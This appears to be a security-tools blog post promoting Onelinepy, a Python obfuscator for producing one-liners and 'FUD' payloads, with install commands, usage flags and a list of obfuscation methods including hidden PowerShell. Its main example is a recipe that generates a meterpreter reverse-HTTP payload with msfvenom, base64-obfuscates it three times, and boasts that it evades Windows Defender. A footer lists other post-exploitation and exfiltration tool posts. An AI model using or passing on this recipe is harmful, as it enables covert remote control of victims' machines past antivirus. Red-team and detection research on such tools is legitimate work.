Onelinepy : Python Obfuscator To Generate One-Liners And FUD Payloads

Onelinepy is a Python Obfuscator To Generate One-Liners And FUD Payloads.

Download & Run

git clone https://github.com/spicesouls/onelinepy
cd onelinepy
chmod +x setup.sh
./setup.sh
onelinepy

Usage Guide

_ | || _ _
| . | | –| | | | –| . | | | Python
|||||||||| | | Obfustucator |_| ||
usage: oneline.py [-h] [-m M] [-i I] [–script SCRIPT] [–code CODE] [–list] [–output OUTPUT]
optional arguments:
-h, –help show this help message and exit
-m M Obfustucating Method (i.e, -m /one_line/base64)
-i I Iterations For Obfustucation.
–script SCRIPT File path of Python file to Obfustucate.
–code CODE Python code to Obfustucate.
–list List Obfustucating Methods.
–output OUTPUT Output File.

Example: Creating FUD Meterpreter Python Payload
  • Generate Python Payload:

msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt

  • Obfustucate Payload

onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfustucated_payload.txt

  • Profit! The Obfustucated Payload works against Windows Defender.

More Examples

onelinepy -m /one_line/base64 –script payload.py -i 3

onelinepy -m /one_line/hex –code “print(‘HEX!’)”

Obfustucation Method List

_ | || _ _
| . | | –| | | | –| . | | | Python
|||||||||| | | Obfustucator |_| ||
Obfustucators ( * = May cause Syntax Errors )
-=============-
0 /one_line/hex
1 /one_line/base64
2 /one_line/base32
3 /one_line/gunzip*
4 /one_line/rot13*
5 /cmd/command
6 /cmd/powershell
7 /cmd/powershellhidden

R K

Recent Posts

garak, LLM Vulnerability Scanner : The Comprehensive Tool For Assessing Language Model Security

garak checks if an LLM can be made to fail in a way we don't…

2 days ago

Vermilion : Mastering Linux Post-Exploitation For Red Team Success

Vermilion is a simple and lightweight CLI tool designed for rapid collection, and optional exfiltration…

2 days ago

AD-CS-Forest-Exploiter : Mastering Security Through PowerShell For AD CS Misconfiguration

ADCFFS is a PowerShell script that can be used to exploit the AD CS container…

2 days ago

Usage Of Tartufo – A Comprehensive Guide To Securing Your Git Repositories

Tartufo will, by default, scan the entire history of a git repository for any text…

2 days ago

Loco : A Rails-Inspired Framework For Rust Developers

Loco is strongly inspired by Rails. If you know Rails and Rust, you'll feel at…

3 days ago

Monolith : The Ultimate Tool For Storing Entire Web Pages As Single HTML Files

A data hoarder’s dream come true: bundle any web page into a single HTML file.…

3 days ago